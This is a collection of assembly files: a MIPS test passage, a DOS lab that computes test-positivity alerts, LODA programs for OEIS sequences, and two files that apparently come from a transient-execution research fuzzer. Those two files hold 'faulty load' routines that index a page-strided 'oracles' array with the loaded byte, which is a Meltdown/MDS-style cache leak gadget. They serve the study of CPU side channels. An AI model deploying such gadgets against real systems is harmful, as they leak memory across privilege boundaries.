TAG686: lh $2, 0($1) sw $1, -256($2) bgez $2, TAG687 lw $3, -256($2) TAG687: mfhi $4 slti $2, $4, 13 lui $4, 11 sb $4, 0($2) TAG688: multu $4, $4 mtlo $4 bltz $4, TAG689 lui $1, 13 TAG689: mfhi $1 beq $1, $1, TAG690 lb $2, 0($1) beq $1, $2, TAG690 TAG690: mfhi $1 lb $3, 0($1) and $1, $3, $3 sra $4, $1, 15 TAG691: sw $4, 0($4) lui $4, 12 bgez $4, TAG692 mthi $4 TAG692: mthi $4 sll $0, $0, 0 mtlo $4 bgez $4, TAG693 TAG693: mthi $4 sll $0, $0, 0 sw $4, 0($3) mfhi $4 TAG694: sll $0, $0, 0 mflo $1 sll $0, $0, 0 xor $1, $4, $4 TAG695: sllv $1, $1, $1 bgtz $1, TAG696 sra $3, $1, 4 lw $2, 0($3) TAG696: srlv $3, $2, $2 bltz $2, TAG697 nor $1, $2, $2 sll $0, $0, 0 TAG697: sltiu $4, $1, 11 addu $2, $1, $4 mtlo $2 srav $3, $2, $4 TAG698: mtlo $3 sra $4, $3, 6 sw $4, 12289($4) sll $0, $0, 0 TAG699: bne $4, $4, TAG700 mflo $2 sltu $2, $4, $4 beq $2, $2, TAG700 TAG700: mflo $4 sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 TAG701: mult $1, $1 lui $2, 7 lui $4, 6 mult $2, $4 TAG702: bltz $4, TAG703 or $2, $4, $4 mult $2, $2 bne $4, $2, TAG703 TAG703: mthi $2 mtlo $2 mthi $2 mtlo $2 TAG704: sll $0, $0, 0 sll $0, $0, 0 mfhi $1 mfhi $3 TAG705: bltz $3, TAG706 sll $0, $0, 0 bgez $3, TAG706 mfhi $4 TAG706: andi $3, $4, 15 lb $4, 0($3) sw $4, 1($4) lhu $4, 0($3) TAG707: sltiu $2, $4, 1 bgtz $2, TAG708 sb $2, 0($2) sll $0, $0, 0 TAG708: sltiu $1, $1, 0 addu $3, $1, $1 lui $2, 4 lui $1, 13 TAG709: sltiu $1, $1, 10 add $2, $1, $1 sub $3, $1, $1 mthi $1 TAG710: mflo $3 bne $3, $3, TAG711 subu $1, $3, $3 sll $0, $0, 0 TAG711: lbu $4, 0($1) sb $4, 0($4) lw $3, 0($1) addu $1, $1, $1 TAG712: mult $1, $1 bne $1, $1, TAG713 mult $1, $1 lhu $2, 0($1) TAG713: sll $0, $0, 0 multu $1, $1 beq $1, $1, TAG714 subu $2, $2, $1 TAG714: mthi $2 sll $0, $0, 0 bne $3, $2, TAG715 multu $3, $3 TAG715: sw $3, 256($3) slti $2, $3, 9 beq $2, $3, TAG716 sb $2, 0($2) TAG716: bltz $2, TAG717 mflo $2 sll $0, $0, 0 mthi $2 TAG717: mthi $2 srlv $1, $2, $2 srlv $2, $1, $1 beq $2, $2, TAG718 TAG718: multu $2, $2 sll $0, $0, 0 beq $2, $2, TAG719 subu $1, $2, $2 TAG719: sb $1, 0($1) addi $4, $1, 15 bne $1, $1, TAG720 add $1, $1, $1 TAG720: beq $1, $1, TAG721 addi $3, $1, 5 mflo $4 addi $2, $4, 5 TAG721: blez $2, TAG722 mflo $3 sll $4, $2, 11 subu $2, $2, $2 TAG722: sh $2, 0($2) slti $2, $2, 10 addiu $1, $2, 7 bltz $2, TAG723 TAG723: addu $1, $1, $1 mtlo $1 lui $3, 10 divu $1, $3 TAG724: sll $0, $0, 0 subu $3, $3, $3 srlv $1, $3, $3 lui $1, 3 TAG725: subu $1, $1, $1 lui $2, 1 beq $2, $2, TAG726 addu $3, $1, $1 TAG726: andi $2, $3, 4 beq $2, $3, TAG727 mthi $3 lb $1, 0($2) TAG727: mtlo $1 lui $2, 3 sll $0, $0, 0 bgtz $2, TAG728 TAG728: mflo $2 beq $2, $2, TAG729 lw $1, 0($2) multu $2, $1 TAG729: addiu $1, $1, 10 mthi $1 mflo $2 mflo $2 TAG730: bltz $2, TAG731 mthi $2 sll $4, $2, 1 mult $4, $2 TAG731: mfhi $2 sh $4, 0($4) lb $2, 0($4) mthi $2 TAG732: addiu $3, $2, 13 addiu $4, $3, 1 lui $4, 2 xori $2, $4, 8 TAG733: mfhi $3 sll $0, $0, 0 mthi $2 or $1, $3, $3 TAG734: bltz $1, TAG735 add $1, $1, $1 bgez $1, TAG735 multu $1, $1 TAG735: lui $4, 13 lb $2, 0($1) mthi $2 mult $4, $1 TAG736: mthi $2 beq $2, $2, TAG737 lui $2, 5 lui $2, 3 TAG737: mtlo $2 xori $2, $2, 12 sll $0, $0, 0 sll $0, $0, 0 TAG738: sll $0, $0, 0 mfhi $2 mtlo $2 sb $2, 0($2) TAG739: mthi $2 mult $2, $2 lui $2, 9 mflo $3 TAG740: bgez $3, TAG741 xor $1, $3, $3 sw $1, 0($3) mtlo $1 TAG741: mtlo $1 multu $1, $1 lui $1, 12 sll $2, $1, 13 TAG742: mfhi $4 lui $3, 8 mflo $2 lhu $2, 0($2) TAG743: lh $3, 0($2) mult $3, $3 sllv $2, $3, $2 bgtz $2, TAG744 TAG744: add $2, $2, $2 mflo $4 bne $2, $2, TAG745 lh $1, 0($4) TAG745: blez $1, TAG746 addiu $4, $1, 2 sltu $3, $1, $1 bne $4, $3, TAG746 TAG746: lhu $4, 0($3) mthi $3 mult $4, $3 bne $3, $4, TAG747 TAG747: mthi $4 srav $2, $4, $4 mthi $4 mthi $4 TAG748: lbu $3, 0($2) addu $1, $2, $2 mtlo $2 bgtz $1, TAG749 TAG749: sb $1, 0($1) nor $4, $1, $1 lb $3, 1($4) sw $3, 1($4) TAG750: nop nop test_end: beq $0, $0, test_end nop
TheStack
e771269ed307144884e73bef7ea171f8d838dadf
Assemblycode:Assembly
{"size": 3762, "ext": "asm", "max_stars_repo_path": "lab3/lab3.asm", "max_stars_repo_name": "mochisvelas/Microprogramming", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lab3/lab3.asm", "max_issues_repo_name": "mochisvelas/Microprogramming", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lab3/lab3.asm", "max_forks_repo_name": "mochisvelas/Microprogramming", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 19.0964467005, "max_line_length": 87, "alphanum_fraction": 0.6735778841}
.model small .data notification db 'Ingresar cantidades de 3 caracteres$' tInput db 'Ingrese la cantidad de pruebas realizadas: $' ptInput db 'Ingrese la cantidad de pruebas positivas: $' red_message db 'Alerta: Roja$' orange_message db 'Alerta: Naranja$' yellow_message db 'Alerta: Amarilla$' green_message db 'Alerta: Verde$' error_message db 'ERROR: Cantidad de pruebas positivas es mayor a pruebas realizadas$' tNum dw 00h ;Tests number ptNum dw 00h ;Positive tests number cnt db 00h tmp dw ? .stack .code program: mov ax,@data mov ds,ax xor ax,ax xor bx,bx ;Ask 3 digit numbers only mov dx, offset notification mov ah,09h int 21h ;Print new line mov dl,0ah mov ah,02h int 21h ;Ask for tests quantity mov dx,offset tInput mov ah,09h int 21h ;Loop to store all digits tstloop: mov ah,01h ;Get digit int 21h cmp al,0Dh ;Check if is an enter je nextnum ;If yes, ask for next number cmp cnt,02h ;Check if 3 digits have been inserted je nextnum ;If yes, ask for next number sub al,30h ;Convert to real number xor ah,ah ;Clear ah ;Store the tens and hundreds if existent shl bx,01h ;Multiply itself by 2 mov tmp,bx mov cl,02h shl bx,cl ;Multiply itself by 4, so by 8 in total add bx,tmp ;By 10 in total add bx,ax mov tNum,bx ;Store in variable add cnt,01h ;Add 1 to cont jmp tstloop ;----------------------------------------------------------------------- ;Ask for next number nextnum: ;Print new line mov dl,0ah mov ah,02h int 21h ;Ask for positive tests quantity mov dx,offset ptInput mov ah,09h int 21h xor ax,ax xor bx,bx xor cx,cx mov cnt,00h ;Loop to store all digits ptloop: mov ah,01h ;Get digit int 21h cmp al,0Dh ;Check if is an enter je startprogram ;If yes, start program cmp cnt,02h ;Check if 3 digits have been inserted je startprogram ;If yes, start program sub al,30h ;Convert to real number xor ah,ah ;Clear ah ;Store the tens and hundreds if existent shl bx,01h ;Multiply itself by 2 mov tmp,bx mov cl,02h shl bx,cl ;Multiply itself by 4, so by 8 in total add bx,tmp ;By 10 in total add bx,ax mov ptNum,bx ;Store in variable add cnt,01h ;Add 1 to cont jmp ptloop ;----------------------------------------------------------------------- ;Start of main program startprogram: ;Print new line mov dl,0ah mov ah,02h int 21h mov bx,tNum cmp bx,ptNum ;Check if positive quantity is greater than total quantity jl error ;If so go to error xor bx,bx mov ax,ptNum mov bx,64h mul bx ;Multiply total positive cases by 100 div tNum ;Div mul result by total cases to obtain percentage ;Check percentage value cmp ax,14h ;Check if percentage is greater than 20 jg red_alert ;If so go to red alert cmp ax,0Fh ;Check if percentage is between 15 and 20 jge orange_alert ;If so go to red alert cmp ax,05h ;Check if percentage is between 5 and 14 jge yellow_alert ;If so go to red alert cmp ax,00h ;Check if percentage is between 0 and 4 jge green_alert ;If so go to green alert ;Display red alert message red_alert: mov dx,offset red_message mov ah,09h int 21h jmp finalize ;Display orange alert message orange_alert: mov dx,offset orange_message mov ah,09h int 21h jmp finalize ;Display yellow alert message yellow_alert: mov dx,offset yellow_message mov ah,09h int 21h jmp finalize ;Display green alert message green_alert: mov dx,offset green_message mov ah,09h int 21h jmp finalize ;Display error message error: mov dx,offset error_message mov ah,09h int 21h ;----------------------------------------------------------------------- ;Finalize program finalize: mov ah,4Ch int 21h END program
TheStack
a11de342bc9354e67ab4fc5e99c4db3fed14897f
Assemblycode:Assembly
{"size": 1810, "ext": "asm", "max_stars_repo_path": "programs/oeis/264/A264980.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/264/A264980.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/264/A264980.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 301.6666666667, "max_line_length": 1650, "alphanum_fraction": 0.9110497238}
; A264980: Base-3 reversal of 2^n: a(n) = A030102(A000079(n)). ; 1,2,4,8,16,64,32,184,352,704,1408,1880,2824,14032,10328,56128,100576,145784,189472,370304,731752,4388248,2924096,11175712,15965704,31930448,63861880,383165344,255439712,1021772344,510875648,2550188248,5619691648,9689861048,17830350904,79068724264,34109913224,192259976368,133338241880,769022821600,1600007648032,2070348404576,3010927408792,17689470033448,11667258088184,67381123364536,129881456655688,178046767382600,254795226420712,447831492758288,1019176772969320,5291510038126336,3253156491715304,13835424455658040,17046030810035872,33847666431170456,67451689825430080,134814133414080008,269541277029872008,1083550729957946992,544486254492677864,3066798129384075280,5933483630092151416,11847171581534428040,23674547492722268608,93601292459464879264,46113657878464134680,233316303073821883264,173647787298015253832,928462092472062767824,1646099932371046948288,2416432785919958685344,3081390802348860018328,18488145481099047193528,12325363347693234846944,73811493028595258501512,49160898103449531783608,188902115282064939763768,270865205060084737720264,539104353587826893865896,1072956594904154909079280,6437301898491884461794760,4291388710268946118039496,17165992507252686803499088,8582339748046809055584824,42890982430298992300365208,94408363250830767920186440,162984215997661204990082696,300112287384960311035864480,1335475682943688492097165344,580185142415543054750018720,3251348339863600621434781696,6738132354108422256773561728,12778541404745617520866901504,26254743120045156728221194784,34366118444200934919347013152,49192637368969763375830115200,293071015635621802359560237152,196075615912953046316347885880,1119957062006387498487802668112 seq $0,79 ; Powers of 2: a(n) = 2^n. seq $0,30102 ; Base-3 reversal of n (written in base 10).
TheStack
bcf399ede0f45c5d8486b19d954cfc1fc77bf7e0
Assemblycode:Assembly
{"size": 4391, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_20765_410.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_20765_410.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_20765_410.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 57.025974026, "max_line_length": 2999, "alphanum_fraction": 0.6629469369}
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r9 push %rbx push %rdi push %rdx lea addresses_normal_ht+0x8850, %r9 nop nop nop nop nop add $27608, %rbx movups (%r9), %xmm2 vpextrq $1, %xmm2, %rdi nop nop nop dec %r11 lea addresses_WT_ht+0x13b34, %rdx xor $43833, %r10 mov $0x6162636465666768, %r13 movq %r13, %xmm5 vmovups %ymm5, (%rdx) and $6178, %r13 pop %rdx pop %rdi pop %rbx pop %r9 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r9 push %rsi // Faulty Load mov $0x6adb8a0000000634, %rsi nop nop xor $9354, %r9 vmovups (%rsi), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r10 lea oracles, %rsi and $0xff, %r10 shlq $12, %r10 mov (%rsi,%r10,1), %r10 pop %rsi pop %r9 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}} {'00': 20765} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
TheStack
f0e90aed830fcf5c78e923523a797556054f37d7
Assemblycode:Assembly
{"size": 4932, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_5243_2234.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_5243_2234.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_5243_2234.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 44.0357142857, "max_line_length": 2999, "alphanum_fraction": 0.6579480941}
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rsi lea addresses_D_ht+0x11d12, %r12 nop nop nop nop nop xor %r9, %r9 mov $0x6162636465666768, %r8 movq %r8, %xmm7 vmovups %ymm7, (%r12) nop nop nop add $7311, %rsi pop %rsi pop %r9 pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r9 push %rax push %rcx push %rdi // Store lea addresses_D+0x4ed2, %r10 clflush (%r10) xor %rdi, %rdi mov $0x5152535455565758, %rax movq %rax, %xmm3 movups %xmm3, (%r10) nop nop nop nop nop sub %rcx, %rcx // Store lea addresses_normal+0x6e52, %r13 dec %r10 mov $0x5152535455565758, %rcx movq %rcx, (%r13) // Exception!!! nop nop nop nop nop mov (0), %rax nop nop sub $78, %r13 // Store mov $0x7648eb0000000e52, %r10 nop nop nop nop nop xor $55350, %r9 mov $0x5152535455565758, %r13 movq %r13, %xmm4 vmovaps %ymm4, (%r10) nop add $16797, %rax // Faulty Load mov $0x7648eb0000000e52, %r9 nop sub $59859, %rax mov (%r9), %cx lea oracles, %r13 and $0xff, %rcx shlq $12, %rcx mov (%r13,%rcx,1), %rcx pop %rdi pop %rcx pop %rax pop %r9 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': True, 'NT': False}} {'58': 2272, '00': 2971} 58 00 00 00 00 00 00 00 00 58 00 00 00 00 58 58 00 00 00 58 58 00 58 58 58 58 00 00 58 00 00 00 00 58 00 00 00 00 58 00 58 58 58 00 00 00 00 00 00 00 58 58 00 00 58 00 58 58 58 00 00 00 58 00 00 58 58 00 58 00 00 00 00 00 00 00 00 58 58 58 00 00 58 00 00 58 58 58 58 00 58 00 00 58 00 00 58 00 00 58 00 00 58 58 58 00 00 58 00 58 58 00 00 00 00 00 00 00 00 58 00 58 00 00 58 00 00 00 58 00 00 00 58 58 00 58 00 58 00 58 58 00 58 58 00 00 58 58 58 58 00 58 58 58 00 58 58 58 58 00 00 58 00 58 00 58 00 00 58 00 00 58 00 00 00 58 00 00 58 58 00 00 58 58 00 00 00 58 00 00 58 58 00 00 00 00 58 00 00 00 00 00 00 58 00 58 00 00 00 58 00 00 00 00 58 00 58 00 58 00 58 00 00 00 58 58 00 00 58 00 58 00 58 58 00 00 00 58 00 58 58 58 58 58 00 00 58 00 00 00 58 58 00 58 00 00 00 00 00 00 00 00 58 00 00 58 58 58 00 00 00 00 00 00 58 00 00 58 00 58 00 00 00 00 00 00 00 00 58 00 58 58 58 00 58 00 58 00 00 00 00 00 58 00 00 58 58 58 58 00 58 58 00 00 00 58 58 00 58 00 00 00 00 00 00 00 58 58 00 00 58 58 58 58 00 00 00 00 00 00 00 58 58 00 58 58 58 00 58 58 00 00 58 00 58 58 00 58 00 00 58 58 58 00 00 58 00 00 58 58 58 58 00 00 58 00 00 00 58 00 58 00 00 00 58 58 00 00 00 58 58 58 58 00 00 00 00 00 00 00 58 00 58 58 58 58 58 00 58 58 00 58 00 00 58 58 00 58 58 00 00 00 00 00 58 00 00 00 00 58 58 00 00 58 00 58 00 00 00 58 00 58 58 00 00 00 58 58 00 58 00 58 58 00 00 58 00 58 00 00 58 00 00 00 00 58 00 00 58 00 00 00 58 58 58 58 58 58 58 58 58 00 00 58 00 00 00 58 58 00 00 00 58 58 58 58 00 00 00 00 00 00 00 58 00 58 58 58 00 00 00 00 58 00 58 00 00 58 00 00 58 00 58 58 58 58 00 58 00 00 00 58 00 00 00 00 00 58 00 58 00 58 58 58 00 00 00 00 00 58 58 58 00 00 00 00 00 58 58 00 00 00 00 58 58 00 00 58 58 00 00 00 00 00 00 58 58 58 58 00 58 58 00 00 58 58 58 58 58 58 58 00 58 00 58 00 58 58 00 00 58 00 00 00 58 00 58 00 58 58 00 58 00 00 00 58 58 58 00 58 58 58 00 00 00 58 00 00 58 00 58 00 00 00 00 00 00 58 00 00 58 58 00 00 58 00 58 00 00 00 58 00 58 58 00 58 58 58 00 00 58 00 00 58 00 00 00 00 00 58 58 58 58 00 00 00 00 00 00 00 00 58 00 00 00 58 00 00 58 00 00 00 58 58 58 00 00 58 58 58 00 00 00 58 00 00 58 58 00 58 58 58 00 58 00 00 00 58 00 00 58 00 00 00 00 58 00 58 00 00 00 58 00 00 58 58 00 58 00 58 58 58 58 00 58 58 00 00 58 58 58 00 00 00 00 00 00 58 00 00 00 00 58 00 00 58 58 58 00 00 58 58 00 00 00 00 00 58 00 58 58 58 00 58 58 58 58 58 58 00 58 00 58 58 58 58 00 58 00 58 00 00 58 00 58 58 58 58 00 00 00 00 58 00 58 00 00 58 58 58 58 58 58 00 00 00 00 58 00 00 00 00 58 58 00 00 58 00 00 58 00 58 58 00 00 00 00 58 00 00 00 58 58 58 58 00 00 00 58 00 00 00 00 00 58 00 58 58 00 58 58 58 00 00 58 00 58 58 00 58 58 58 00 00 58 58 00 58 58 00 00 00 58 00 58 00 58 00 00 00 58 00 58 00 00 58 00 58 58 00 00 00 58 00 00 58 00 00 00 58 00 58 00 58 58 58 00 00 00 00 58 58 00 58 58 58 58 58 58 58 58 00 00 58 00 00 00 00 00 00 00 00 58 58 00 58 00 00 00 00 00 00 00 58 58 00 58 58 00 00 00 00 58 58 58 58 00 00 58 00 00 58 00 58 58 00 00 58 00 58 00 00 00 00 00 58 00 00 00 00 */
TheStack
61afd3c01ac27b94f28a28466b42893c485eb14d
Assemblycode:Assembly
{"size": 477, "ext": "asm", "max_stars_repo_path": "programs/oeis/323/A323351.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/323/A323351.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/323/A323351.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 36.6923076923, "max_line_length": 229, "alphanum_fraction": 0.748427673}
; A323351: Number of ways to fill a (not necessarily square) matrix with n zeros and ones. ; 1,2,8,16,48,64,256,256,1024,1536,4096,4096,24576,16384,65536,131072,327680,262144,1572864,1048576,6291456,8388608,16777216,16777216,134217728,100663296,268435456,536870912,1610612736,1073741824,8589934592,4294967296,25769803776 add $0,1 mov $1,2 pow $1,$0 trn $0,2 cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n. mul $1,$0 sub $1,2 div $1,2 add $1,1